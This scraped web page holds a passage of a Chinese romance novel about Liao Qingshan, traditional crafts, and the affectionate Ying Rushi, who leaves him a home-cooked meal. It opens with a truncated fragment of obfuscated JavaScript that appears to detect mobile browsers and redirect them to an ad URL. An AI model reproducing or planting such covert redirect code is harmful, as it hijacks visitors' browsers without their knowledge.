l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117706|164198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相关人员,也有的是电视台编导。 每个人过来,都会问她,做这些事的意义是什么。 那些套话说多了,是真没意思。 但要说自己真的对这门手艺爱到废寝忘食,她自己都觉得心虚。 只是命运长河把她推到了这个位子上而已。 暮夏晚风吹过,晃得头顶的葡萄藤沙沙作响,廖清杉在这阵动静里,看出她目光里的故事,知味地说:“要不要我给你个特立独行的答案,让你以后不用说套话。” “什么?” “面对传统文化的保护和传承,我们应该采取底线思维。” 王诗歌没听懂:“底线思维?” “嗯。” “其实,不用去回答保护和传承这些文化有什么意义。” “你只需要用底线思维去设想一下,如果我们不保护和传承,那将会有什么后果。” 如果这些没有了,如果我们真的任凭这些古老文明散落在历史长河中,如果我们真的任凭这些精湛手艺被钢铁森林的砖块砸死。 那么,当别的国家,因为我们的倏忽和漠视,拿着我们的文化成果,去正大光明地申遗,在本属于我们的东西上,冠上他们国家的名字。 那个时候,后知后觉的愤怒,才是最无能的情绪。 天色渐晚,廖清杉从椅子上起身,离开前,半开玩笑地说:“对了,这答案得等节目播出后才可以说,要不然得付版权费。” 王诗歌领会到他的幽默,情不自禁地笑了。 然后,看着他,走出那扇木门。 那一刻,王诗歌想,这就是有温度有思考的中国少年吧。 他们肩上,担得起浩浩长河,也担得起清风日落。 - 从大榕树离开,廖清杉迎着暮色,一路驱车回家。 回到住处,刚把车停好,就听到手机响了起来。 他看了来电显示,眉头下意识一蹙,然后,嘴唇紧抿着,按下了接通键:“喂。” 手机那端的声音像例行公事般冷漠:“你回国了?” “嗯。” “怎么不说一声?” “没必要。” “现在在哪儿?” “我今年二十一了,去哪儿还得时刻跟你报备?” “你!” 等那边发飙前,廖清杉果断地挂断了电话。 他叹了口气,把手机放进口袋,从车上走了下来。 只是脚步,有种说不出的沉重。 为什么? 为什么快乐和难过在心中所占的分量这么不公平。 这一天下来,新知识的获得,拍摄内容的精进,和真实故事的收集,都是那么那么值得快乐的事情。 可是,为什么堆积了这么多的快乐,瞬间就能被一通电话打败。 廖清杉沉浸在这样没有意义的比较里,沉浸了好一会儿。 直到,一道清透明亮的女声,倏地从身后响起: “阿杉!” 廖清杉寻声看过去的时候,恰好一阵微风拂过。 那个朝他奔跑而来的人的长发,正好被风吹起。 廖清杉有些木然地站在那儿,看着门口的那个小姑娘蹦跶着朝自己跑来。 在他身边站定后,廖清杉又看到她抬起眸,眨着大眼睛,看着他问:“以后我就叫你阿杉好不好?这样就可以和姗姗区分开来啦!我是不是超级聪明!” 说话时,她唇角边的梨涡格外明显,一双桃花眼盈盈欲动,整个人娇俏又漂亮。 廖清杉看着,突然就想推翻自己刚才的质询。 快乐和难过在心中所占的分量,好像还是公平的。 原来,堆积的那些不愉快,一个笑容就足以治愈。 他空咽了喉咙,温声唤:“应如是。” “嗯?” “你是不是知道......” 或许是此刻暮色太好。 他话里的后半句,就没来得及说出来。 此时是风光正好的夏日傍晚,夕阳余晖层层交叠在肥瘦相间的云朵中,晕染出饱和度不同的光影。 她就这样,驭着暮色,风尘仆仆又面带微笑地朝你跑来。 然后,用一声呼唤,让你身上的冷漠铠甲,轰然倒塌。 告诉你,其实不必满身戾气。 这份到来,就像春日纷飞的柳絮,满满涨涨地堵在你心口,软软蓬蓬的,格外暖人心窝。 廖清杉看着,不知怎么,就笑出了声。 刚才那个问题,似乎也没有了问出口的必要。 也是—— 他眼底的温柔这么明目张胆。 她也一定知道,自己很可爱。 14. 看她弄巧 没有我在你身边,听歌都不快乐了吧! 所以,还不快点过来稀饭我!!! ——《叮咚!您点的乌龙面已送达!》 看他一直不说话,应如是仰头问:“我是不是知道什么呀?” 此刻,她身后的黄昏,和他问话时的那片黄昏一样。 一样的绚烂至极、美不胜收。 天边夕阳显然没有因为这几秒钟的流逝,就匆匆落下山,让美景错失良机。 可有些话,一旦错过了说出口的最好时机,哪怕只是过去了几秒钟,就很难再说出口了。 “啊!我知道啦!”看着他落下的温柔目光,应如是恍然大悟道,“你是不是觉得,我特别可爱?” “......”心思就这样被人拆穿,廖清杉沉默了一瞬,继而违心地否定,“不是,我是觉得你出现在我面前的频率有点高。” “啊?才有点高吗?”应如是听了,音调一扬,小嘴一撇,眉毛一挑,整个人看起来委屈的不得了,“那看来我追人功夫还没下到位,我还得继续努力,我必须做到出现在你面前的频率非常高,高到你忽视不了才行。” 廖清杉:“......” 轻飘飘地看了她一眼,然后转身就走。 应如是一点儿都没觉得失落,跟在他身后,边走边问:“阿杉,你为什么一直不找女朋友啊?” 看他没接话,她又问:“你是不是怕,她们图你钱啊?” 廖清杉:“?” “不过,你放心,我家庭条件也是很好的哦,我爸爸妈妈也给我准备了特别丰厚的嫁妆,所以跟我在一起,绝对不会让你吃亏哒!” 廖清杉:“?” 不是,这位姑娘,你聊得有点远。 “没什么事的话,我先进去了。”明显的送客语。 “你进去干嘛啊,”应如是热情地邀约道,“你肯定还没吃晚饭吧,正好我朋友今天来我家吃饭,我外公外婆做了好多好吃的,你也过来吃吧,就多双筷子的事。” 廖清杉正想说一句不用,结果,话还没说出口,就听到她惊叹道:“天呐天呐!我怎么忘了,咱俩的定情信物还在我家里面放着呢。” 廖清杉:“?” 定情信物? 情都没定,哪来的定情信物? 然后,转念一想。 哦。 是那双筷子。 那天他搭进去的不止一碗面,还有一双筷子。 廖清杉:“......” “你说我是还给你好,还是自己保留着好啊,要是还给你的话,那你以后还要费劲心思想新的定情信物,太费脑细胞了,要不然就放在我这儿......” “应如是。”他沉声叫。 “嗯?” “你给我适可而止。” 说完,廖清杉都愣了。 这话的语气,怎么说。 有点凶,有点无可奈何,却又有点......纵容她闹的意思。 察觉出话里那不知不觉带出的宠溺,他刻意地清了清嗓子,避重就轻道:“我还有工作,你赶紧回家吧。” “那好吧,”应如是没有再勉强,“既然你不愿意去,那我走了哦。” “我真的走了哦。” “我带着香喷喷的红烧肉,带着冒着热气的虾仁蒸蛋,带着炒得绿油油的清炒芥蓝,带着晶莹剔透的大白米饭,带着清香滑腻的蛋花汤,走了哦。” 她边说着,边一步三回头。 就期望着他能转身看她一眼,那她就能立马顺杆子往上爬。 可是他没有。 所以,她真的走了。 连那份热气腾腾的人间烟火,也一并带走。 廖清杉数着时间,等她的身影彻底消失在视线,才转过身,看着空荡荡的院落,莫名其妙地发了一会儿呆。 不知道过了多久,口袋里的手机再次响起。 廖清杉把手机拿到耳边,不带任何感情地“喂”了一声。 汪施靖听着他的声音,眉头轻蹙:“你什么情况,怎么听你声音这么不对劲。” 廖清杉:“饿了。” 汪施靖:“......” - 可好像,并不是单纯身体上的饥饿。 否则,明明房间内备有充足的食物,可他为什么突然就没有勇气,推开那扇冷冰冰的门。 于是,刚走上的台阶,又被他走了下来。 廖清杉将车重新开出了大门,开到门口,准备转动方向盘的那一刻,他稍微愣了愣。 往右转,是大路,比较好开。 可他的手跟不听使唤一样,莫名其妙地往左转。 没开两步,就看到那扇蓝色大门,还有院边围着的棕褐色栅栏。 栅栏斜逸出几朵 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大约半个小时后,雨势便瞬间小了下来。 一场突如其来的暴雨,快准狠地驱散了白日里的燥热,给这座北方小城带来了一个难得清爽的夜晚。 廖清杉降下车窗,任凭车里灌满夏夜温凉的晚风,然后调转车头,把车重新开上了主路。 可能是刚下过雨的原因,这一路上,廖清杉看到不少出来遛弯的人,他们或者牵手,或者说笑,或者打闹。 你来我往间,那令人眷恋的人间烟火气,就这么泛了上来。 回来的这一路,晚高峰早已过去,他开得很是顺畅。 唯一的不顺畅是在准备开门的时候。 光滑的门把手上,挂着一个保温盒。 卡通图案,粉嫩又可爱。 看到这儿,他的目光像被钉住一样,瞬间意识到了这个保温盒出自谁手。 打开一看,果不其然。 里面装着红烧肉、虾仁蒸蛋、清炒芥兰、一大碗白米饭,还有一碗热汤。 廖清杉看着,不知为何,倏地眼眶一热。 此时天色渐晚,万家灯火渐次熄灭。 她却给他,留了一把随时能走进万家灯火的锁钥。